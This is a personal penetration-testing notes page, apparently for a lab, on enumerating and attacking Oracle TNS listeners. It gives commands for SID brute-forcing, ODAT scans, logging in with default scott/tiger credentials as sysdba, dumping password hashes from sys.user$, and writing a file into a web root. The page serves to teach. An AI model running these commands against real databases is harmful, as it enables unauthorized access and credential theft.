> For the complete documentation index, see [llms.txt](https://thescriptkid.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thescriptkid.gitbook.io/notes/credential-less-enumeration/oracle-transparent-network-substrate.md).

# Oracle Transparent Network Substrate

## Footprinting The Service

### Tool Setup

{% code overflow="wrap" %}

```
sudo apt-get install libaio1 python3-dev alien -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor pycrypto passlib python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Fo3yhWUVkfBnN2UqiGGAX%2Fimage.png?alt=media&amp;token=c6751500-ed89-45bb-adcc-14b8e4f171e2" alt=""><figcaption><p>Before we can enumerate the TNS listener and interact with it, we need to download a few packages and tools</p></figcaption></figure>

### Nmap

{% code overflow="wrap" %}

```
sudo nmap -p1521 -sV 10.129.204.235 --open
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FlZDo8TMJYU9oBCaus60j%2Fimage.png?alt=media&amp;token=8b274a46-ccac-4f5c-b558-cdb795cb6180" alt=""><figcaption></figcaption></figure>

### Nmap - SID Bruteforcing

{% code overflow="wrap" %}

```
sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F1plxyE7Qfh7SywtnmWhg%2Fimage.png?alt=media&amp;token=14f987bf-22a4-41b3-aeb8-a43797251609" alt=""><figcaption></figcaption></figure>

### **ODAT**

{% code overflow="wrap" %}

```
./odat.py all -s 10.129.204.235
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Ffmmus0fqZ0cMNqElnZFy%2Fimage.png?alt=media&amp;token=6bdc90d1-00ca-4122-8fed-e7dad8479e7f" alt=""><figcaption><p> the <code>odat.py</code> tool to perform a variety of scans like retrieve database names, versions, running processes, user accounts, vulnerabilities, misconfigurations etc.</p></figcaption></figure>

### **SQLplus - Log In**

{% code overflow="wrap" %}

```
sqlplus scott/tiger@10.129.204.235/XE
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FBEg8H34SUEGT0TBcP2K7%2Fimage.png?alt=media&amp;token=a367e00b-fba3-4838-b97d-7add4086bf48" alt=""><figcaption><p>You can also attempt to append "as sysdba" for higher privileges</p></figcaption></figure>

If you come across the following error <mark style="color:red;">sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory</mark> execute the following command

{% code overflow="wrap" %}

```
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig
```

{% endcode %}

### Oracle RDBMS - Interaction

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2Fp1RHchksbda67AD6lpCv%2Fimage.png?alt=media&amp;token=2115ce18-6f4c-473d-bf23-d71bba767ebd" alt=""><figcaption></figcaption></figure>

### **Oracle RDBMS - Database Enumeration**

{% code overflow="wrap" %}

```
sqlplus scott/tiger@10.129.204.235/XE as sysdba
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2F0et10I8hgPmmJvCjygBe%2Fimage.png?alt=media&amp;token=8aaa5a8c-b07c-4827-9f5d-43c6712cc3d9" alt=""><figcaption><p>Try using the valid account to log in as the System Database Admin (<code>sysdba</code>), giving higher privileges. This is possible when the user has the appropriate privileges typically granted by the database administrator.</p></figcaption></figure>

### **Oracle RDBMS - Extract Password Hashes**

{% code overflow="wrap" %}

```
select name, password from sys.user$;
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FLNO5anmCRxn4ZH0uglir%2Fimage.png?alt=media&amp;token=10a2d6e1-e59a-4b82-8e4b-bc3c84b6187c" alt=""><figcaption></figcaption></figure>

### **Oracle RDBMS - File Upload**

| OS      | Path                 |
| ------- | -------------------- |
| Linux   | `/var/www/html`      |
| Windows | `C:\inetpub\wwwroot` |

{% code overflow="wrap" %}

```
echo "Oracle File Upload Test" > testing.txt
```

{% endcode %}

{% code overflow="wrap" %}

```
./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FNQkDAMpgSlJ2TSLCWVt0%2Fimage.png?alt=media&amp;token=59c4afe9-9075-474e-a4e2-964957c36d10" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
curl -X GET http://10.129.204.235/testing.txt
```

{% endcode %}

<figure><img src="https://1192637835-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F44z1JbEiJxgnTtwJXzlT%2Fuploads%2FWDZ2I3QiU7c2dcoQshSR%2Fimage.png?alt=media&amp;token=6e0d4e58-6b21-4039-835b-23a60d90b40c" alt=""><figcaption></figcaption></figure>